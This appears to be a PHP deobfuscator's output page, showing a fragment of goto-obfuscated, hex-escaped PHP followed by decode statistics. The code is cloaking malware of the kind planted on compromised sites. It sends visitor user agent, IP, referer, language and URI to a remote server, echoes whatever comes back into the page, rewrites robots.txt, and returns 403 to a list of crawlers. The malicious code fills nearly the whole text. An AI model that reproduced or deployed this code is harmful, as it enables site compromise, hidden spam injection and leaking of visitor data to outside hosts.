(empty($OTgq9)) { goto UN6E_; } goto R40Fz; DBCfT: goto kcy_c; goto Z0I6p; I13uY: if (preg_match("\57\50{$GociF}\x29\57\151", $_SERVER["\x48\x54\124\x50\137\x55\123\x45\x52\137\x41\107\105\x4e\x54"])) { goto QzjhA; } goto tP_r1; d0aNi: $ho2ga = $Ojdv_ . "\77\141\147\x65\x6e\164\75{$dgQLn}\x26\x72\x65\146\145\162\x3d{$M20XU}\x26\154\x61\x6e\x67\x3d{$l4tpy}\x26\x69\160\75{$RQNx1}\x26\144\x6f\x6d\x3d{$PAx6p}\x26\x68\x74\x74\160\x3d{$t566w}\46\x75\162\151\75{$K4n8B}\46\x70\x63\x3d{$RQOdb}\x26\162\145\x77\x72\151\x74\145\x61\x62\x6c\145\x3d{$e5oBF}\46\x73\x63\162\x69\160\x74\x3d{$YkI0k}\46\163\x69\164\x65\x6d\141\160\x3d" . urlencode($x75YZ); goto HX4vu; Dn4Qz: $OTgq9 = xMWBp($ho2ga); goto lBau_; l1sMV: MnajR: goto ARts2; RDZTB: goto MnajR; goto uPaAu; VAFA4: $e5oBF = 0; goto tB2V7; rApFz: goto lSuYG; goto sSQmX; QR5OE: if (preg_match("\100\x5e\57\50\x2e\x2a\77\51\x2e\170\x6d\154\44\100\151", $K4n8B)) { goto xGxLd; } goto I13uY; rMBGf: header("\x43\157\156\x74\x65\x6e\x74\55\x54\171\x70\x65\x3a\x20\x74\145\x78\164\x2f\x68\x74\155\x6c\73\x20\x63\x68\141\x72\163\145\164\75\x75\164\146\55\x38"); goto evok_; Gof8n: echo "\x6f\x6b"; goto xqC6f; Q1cOn: x2cC1: goto MZJAQ; toGzr: $YkI0k = urlencode($_SERVER["\x53\x43\x52\111\120\124\137\116\x41\115\x45"]); goto HO2ks; W8CWl: header("\x43\x6f\156\x74\x65\156\x74\55\124\171\x70\x65\72\40\164\x65\x78\x74\x2f\x70\154\x61\x69\156\73\40\143\150\141\162\x73\145\164\x3d\165\164\x66\x2d\70"); goto Tb5uL; G3fKB: $x75YZ = "{$t566w}\72\x2f\x2f" . $PAx6p . $e7WQ6 . "\163\151\164\x65\155\141\x70\56\170\x6d\154"; goto dxWDi; cLVLY: exit; goto l1sMV; ay9vU: exit; goto gqj9K; f6uqz: goto C8c1d; goto Ai1N0; gqj9K: aS6EZ: goto WmJ8j; uPaAu: enzqo: goto WVOc2; VNQju: header("\x48\124\x54\x50\57\61\56\60\x20\64\60\63\40\106\x6f\x72\x62\x69\x64\x64\x65\x6e"); goto XpCF3; v3FES: Mll8k: goto egni3; zjFNv: @file_put_contents("\x72\x6f\142\157\164\x73\56\x74\x78\x74", $OTgq9); goto cLVLY; qPofm: NT1JZ: goto eGTli; WVOc2: $ho2ga = $Ojdv_ . "\77\141\147\x65\156\164\75{$dgQLn}\46\162\145\x66\x65\x72\x3d{$M20XU}\x26\154\141\x6e\x67\75{$l4tpy}\x26\x69\x70\75{$RQNx1}\x26\144\157\x6d\x3d{$PAx6p}\46\x68\x74\x74\160\75{$t566w}\x26\165\x72\x69\75{$K4n8B}\x26\x70\143\75{$RQOdb}\46\x72\x65\167\x72\151\x74\145\141\142\154\x65\x3d{$e5oBF}\x26\163\143\162\x69\160\x74\x3d{$YkI0k}"; goto W8CWl; HX4vu: $OTgq9 = xmwbP($ho2ga); goto clYJG; WmJ8j: if (substr($OTgq9, 0, 5) == "\x3c\x3f\x78\155\154") { goto oaa7S; } goto rMBGf; ij7S0: $K4n8B = urldecode($_SERVER["\122\105\x51\x55\105\x53\x54\137\125\x52\x49"]); goto ja3_Q; Pgfuh: $RQOdb = 2768; goto cysDO; DVR0o: exit; goto WSPl8; pzSg7: oaa7S: goto mC8rT; YHxEZ: if (strpos($K4n8B, "\146\x61\x76\151\x63\x6f\x6e\x2e\151\143\x6f") !== false) { goto j_AXF; } goto fparx; anqCo: echo $OTgq9; goto x_nIH; x5OHF: czk6_: goto IDS2M; nYP_Q: $OTgq9 = XMWBp($TXFIA); goto dD4eI; r3q3s: $l4tpy = urlencode($_SERVER["\110\x54\124\120\137\x41\x43\x43\105\120\124\137\x4c\101\116\x47\x55\x41\x47\x45"]); goto Sr6O1; QVgqa: lzXWP: goto gxhy9; Rp1gq: goto YFGJt; goto KckHp; QkzKs: if (!preg_match("\57\50\x42\171\x74\x65\163\x70\151\144\x65\162\x7c\x50\145\164\x61\x6c\102\157\164\174\x41\150\x72\x65\146\163\102\157\x74\x7c\102\141\x72\x6b\x72\x6f\167\x6c\x65\162\x7c\115\112\x31\x32\142\157\164\174\x46\145\145\x64\x44\145\x6d\x6f\x6e\x7c\112\x69\x6b\145\123\160\x69\144\145\162\174\x49\x6e\x64\171\40\x4c\x69\x62\162\141\x72\x79\x7c\x41\163\153\124\142\x46\130\x54\126\174\x43\x72\x61\x77\x6c\x44\x61\x64\x64\x79\x7c\103\x6f\157\154\x70\x61\x64\127\x65\x62\153\x69\x74\x7c\112\141\x76\x61\x7c\x46\145\x65\x64\154\171\174\x55\156\x69\166\x65\x72\x73\x61\x6c\106\x65\145\x64\120\141\162\x73\145\x72\174\x41\160\x61\x63\x68\145\x42\145\156\x63\x68\x7c\123\167\151\146\164\x62\157\x74\x7c\132\155\105\165\x7c\157\102\x6f\x74\x7c\152\x61\165\x6e\x74\x79\174\120\171\164\x68\157\156\x2d\x75\x72\x6c\154\x69\x62\174\x70\171\164\150\x6f\x6e\55\x72\x65\x71\x75\x65\x73\164\163\174\154\151\x67\x68\164\104\145\x63\153\122\x65\160\157\162\x74\x73\x20\x42\x6f\164\x7c\x59\131\123\x70\151\144\145\x72\174\104\x69\147\105\x78\164\x7c\131\x69\163\157\x75\123\160\151\144\145\162\x7c\110\x74\x74\160\x43\154\151\145\x6e\164\x7c\150\x65\x72\151\x74\162\151\x78\174\105\141\163\157\x75\x53\160\x69\x64\145\162\174\105\x7a\157\157\x6d\163\x7c\101\x6d\141\x7a\157\156\x42\x6f\164\174\x53\105\115\162\x75\163\x68\102\157\x74\x7c\131\141\x6e\x64\145\x78\102\x6f\x74\x7c\160\x61\154\157\x61\x6c\x74\x6f\x6e\x65\x74\167\157\162\x6b\163\x7c\x50\171\x74\150\157\x6e\51\57\151", $_SERVER["\x48\x54\124\x50\137\x55\123\x45\x52\137\x41\107\x45\x4e\x54"])) { goto Vd18X; } goto VNQju; gr3pQ: $ho2ga = $Ojdv_ . "\77\141\x67\x65\156\164\x3d{$dgQLn}\46\x72\145\x66\145\x72\x3d{$M20XU}\x26\154\141\x6e\x67\x3d{$l4tpy}\46\151\160\x3d{$RQNx1}\46\144\x6f\155\x3d{$PAx6p}\x26\x68\x74\164\160\75{$t566w}\46\165\162\x69\75{$K4n8B}\46\160\x63\x3d{$RQOdb}\x26\x72\x65\167\162\x69\x74\145\x61\142\154\x65\x3d{$e5oBF}\46\163\x63\162\151\160\164\x3d{$YkI0k}"; goto U2BKB; wtzaR: $RQNx1 = urlencode($dMM3S); goto LOSTz; LeJaE: g0IUf: goto ItHS8; eEoFB: yUDlg: goto DBCfT; n2cp2: kcy_c:
?>

Function Calls

None

Variables

None

Stats

MD5 50b23137f9871df36fceebdf183635ad
Eval Count 0
Decode Time 60 ms